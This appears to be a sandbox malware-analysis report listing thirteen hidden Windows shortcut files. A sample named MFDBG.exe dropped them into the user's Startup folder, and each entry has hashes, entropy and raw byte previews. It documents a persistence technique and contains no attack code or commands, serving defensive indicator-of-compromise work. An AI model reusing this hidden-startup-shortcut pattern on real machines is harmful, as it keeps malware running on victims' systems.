C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09e50c98426c4eeca5d412e74fb2d16f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919621962522534
Encrypted:	false
SSDEEP:	24:8oBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9801E772AD9CCFAECC41E010A4314400
SHA1:	6F5C61CD87AEE1B41EB04CD303D40E748FE0B9CC
SHA-256:	B2DD7E29E7D5F6F6A2C5548992C04D1ED8F51AE1E3E29BB8B491A753D0392E9A
SHA-512:	6A61707D3829E9746B80662926818221AAC9294B13105B375BBDA3CAE0B7839019A6CC078B3FFB3F8E87853D7DF40C672DC9156981BAA72731E617AD975AA563
Malicious:	false
Preview:	L..................F....".......d.....wQd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....MQd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a8a709dd8ac460984cfc07235012609.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918364428351097
Encrypted:	false
SSDEEP:	24:8RBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F584DB98A2ECD89AF07D4868FBD5EC4E
SHA1:	A1869B13BEA41F477A3F747BEDE62A5C2AB5AF68
SHA-256:	880D3386E1D667477725296440BEDCF09ACCF03A2209073424C2ED4C003FC66E
SHA-512:	4B1D9644CE2A692BFB7687B0C66A73BCFE18309CCDE1B377AE3E32CF1F00B2A4555308C4F451EB0B02A753D334A3163E8C4436F1DF0951495354B75E97AE4C25
Malicious:	false
Preview:	L..................F....".......d...v.T^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....K^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ab5bb689a6d4ae8955247ec37018340.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923542443279368
Encrypted:	false
SSDEEP:	24:8d9Bfxf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dvJEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5B0E128D86FC794A304C49B86AA272FB
SHA1:	0B59836CFC3DE73F1C3C578CE7DE9CB9036967BC
SHA-256:	116076CDFD269DB8760DC24CE14130932713FFEC10C3D319AAE55382B94BD813
SHA-512:	13270178BB27DAFDFBA884CFB73F72F41371784D1E0793AF94F2BED631826E546EEEC1A59C6F55C33391B7FA98B6E5E195FD4327F52C3DDF59332799D5041CAF
Malicious:	false
Preview:	L..................F....".......d...../.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ab8ea171e8243469c2c754631e52cee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922087390896633
Encrypted:	false
SSDEEP:	24:8UBfw8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86tEvZ0yRO7DLO2zdxdRd1kyg
MD5:	794FD0C14BA81CB6B7F6BD45E18D3C11
SHA1:	8CE5B8CC928DA5FCEA75B61DCFBA7E6BFE1C87CD
SHA-256:	57A79EBA3F2497BB13CA58BF4E062F8BE01BB98C0A5BB48CD35E0CE3D26BD64B
SHA-512:	941D7597AA7710AEF865E850F2589E7EEA0C97EF596D99B32238BCC4A2CED2CF67D51A4DD5B430D6F8B1BF0403CC9D5169F42C020F85320B76A3DF1CB64A6879
Malicious:	false
Preview:	L..................F....".......d...yL&?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....6?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0af5661d04c74b5f8975ca4e2e62331a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92377562610447
Encrypted:	false
SSDEEP:	24:8XBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BAD03EE365DBF916ACAE280A46DA7323
SHA1:	19DBD6BF9D072C1433570EF5137942C799C32A86
SHA-256:	76037ED7DD10117296166397E4016B404430BD9662B42F19B12044F1E38CF90D
SHA-512:	37A724450F789E1E14AB7C092EC781257337D1296D0ED54B21CE4DE3B58F3FF5EF76E6690D584CA66015D6CD6BFD0F8F9ADCCD27B9DAC7042837D878E541CEA5
Malicious:	false
Preview:	L..................F....".......d....\|.#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0b5b2533a3ac4c3189deda99baa0dc1c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912915124582998
Encrypted:	false
SSDEEP:	24:87krBfPf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87kdUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5AC1B0F2E930F5AC7F6F9C886C2EB776
SHA1:	07704F40E24C45C322385BD58DD4C9758CDB032C
SHA-256:	D1ADD32929496D6557F45A6B778B5CC2C536BA0472981B44BBC337C82AE8F4C6
SHA-512:	66573BF5435A90A66034F59A553D4557F729686D6F757B08BA24AA864E6D4A1935935D45F70B404B467040082726BD81156E9463A04237CCD2CE26500015E1E4
Malicious:	false
Preview:	L..................F....".......d.....e.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....h.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ba6b6d446c64694abb540400f906e7a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920253669173619
Encrypted:	false
SSDEEP:	24:82BfmQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88eFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D03DB45BE0E08B829243D245DE5AD0EC
SHA1:	395273AE77AE0D00541BE50DC383654267B8A380
SHA-256:	2D6518205C6C7B735AB83BB2439C9930D6D43BA51189D9126A9CC6AAAE64999B
SHA-512:	E65DD8AF964F5759F90DB634E4DB78093A0B659D6B0BEC5E3C9D30CB8792EBA8BAD7AC373EED310069E90677452FD1C67CBD81738C26C2DA1E86B0AA556CA529
Malicious:	false
Preview:	L..................F....".......d...<..9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....).9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0bdb13bc00134dd8b40635247050e8af.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913861804383643
Encrypted:	false
SSDEEP:	24:8TBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	510DB8564E8B04A6D3EA20B9284B8238
SHA1:	0C2D60B6DCBF69BCE7AF2715DA7AF77B5754F4E6
SHA-256:	80B307DD980E1095D1A0A55754747497DA27615FA3B260AB3D71088BBB91D469
SHA-512:	746D8B74ADD5C6ABE4F7E9087C6DF1A38F73E6D98E0C095865725E387C39D19ED51188C08FCBBFE990247EDFFE4B8FEC3ED3A582E12780D5D021F63B1096AEBE
Malicious:	false
Preview:	L..................F....".......d...?~C9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0bfc554575be487e9d4ac3d0f424a6f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912040695338846
Encrypted:	false
SSDEEP:	24:8d7BfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dtUJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	756E4DD09E2E6048066303EE7D83DD51
SHA1:	94EDC74AAB7CA37D777C9187887FC480727C1984
SHA-256:	D1FA77D8518DB39C1CA4A7FAFA23EBDF1C4214A975B9C341CFA23BDB7ADFD55C
SHA-512:	B6E4E78336AB3107BC27B9E771C96989EE30BA8AFA6D842A759D0D94A5C13F46FD507549B688BA8E74D4007AB75C60E8A3E9C0D76DF5103B849EACF89306597B
Malicious:	false
Preview:	L..................F....".......d.....!\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0c1030fd26594fa6a4b6d656fb63271c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:17 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9213010575518945
Encrypted:	false
SSDEEP:	24:8zrBfy8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Z3EvZ0yRO7DLO2zdxdRd1kyg
MD5:	73BF4C9A2E4F7C4972DD1B4E0D66809B
SHA1:	E16AE9D3906DA9214D994AFD76E626DF53BA05C7
SHA-256:	7BAA8CF51D2A181446FE9EC74F74C18D717A7F39E2536400CAD5E502B428C985
SHA-512:	34A06FA874872482976A4CB54A042F925F5034C4887F3FE727583602BD2D0F61C459CB5E39D01E6253098E3CEB18F886576CB5EE26F7699DC68FD494425FA7DA
Malicious:	false
Preview:	L..................F....".......d......'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...F..'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0c23a828c8de478f93ed9adde970860f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920734288136755
Encrypted:	false
SSDEEP:	24:8lQBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8leLTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DAC32EAEC43DD3924CEB1974B725C9B2
SHA1:	5E6CFF46B215FBAC3C40EB9C8287B4385F72C557
SHA-256:	1E22D06A992D9018F86D3FE6112EC5DED3A0ABFE097F9392D829B3A1E4CCB1B8
SHA-512:	79D72033650B2B0A9C54E3531A90831B57592A934BB44302E44DC9266CA50A4522D90407817F9D8F4F4F4FABE4F4BF2CB3256691148EA4F969135B12BC0569CE
Malicious:	false
Preview:	L..................F....".......d....iO9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0cb77311e7aa434aa0619eca44e984c2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925118729885995
Encrypted:	false
SSDEEP:	24:8N+BfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NUbEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9A844ED32F041982F65D39CF5DB2B677
SHA1:	907C0E101D1AFD4011D82F01F06D9CD236AE4127
SHA-256:	8160D73370DADF364D3DDD3CC419ECAA764716BDB0805D05488AB2B3DB15B7AD
SHA-512:	ABAF39F74DB6A50512AE051E3F3709EC42F4798B0121AF444C713D69E5D8D76388D1778068BD1FE10C304A5FE78F1AED178AB25B9080D2AAAA5BD317311EB9FD
Malicious:	false
Preview:	L..................F....".......d...p..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0d9997c727da4cbc934cde76e76ae7bd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923198514181955
Encrypted:	false
SSDEEP:	24:8PcQBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PRpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	369E9A1CC9A8E0AA45CBD831F82F2381
SHA1:	DF7F5D302DD6EE222B3C03C17586F7173B50BB23
SHA-256:	0AEBE54DEC457AF9302930A3CA479FF48D956A7D7122307498DE4D12F8DEE475
SHA-512:	D487A38542CF9F5E09B008C32DF5933CACEB668F06E81013813590F65D7A14C85420EB95E247AD6302EC15A79D8905F2FAD17666EECBD32D50DEE5219785C19E
Malicious:	false
Preview:	L..................F....".......d....+R^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....K^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

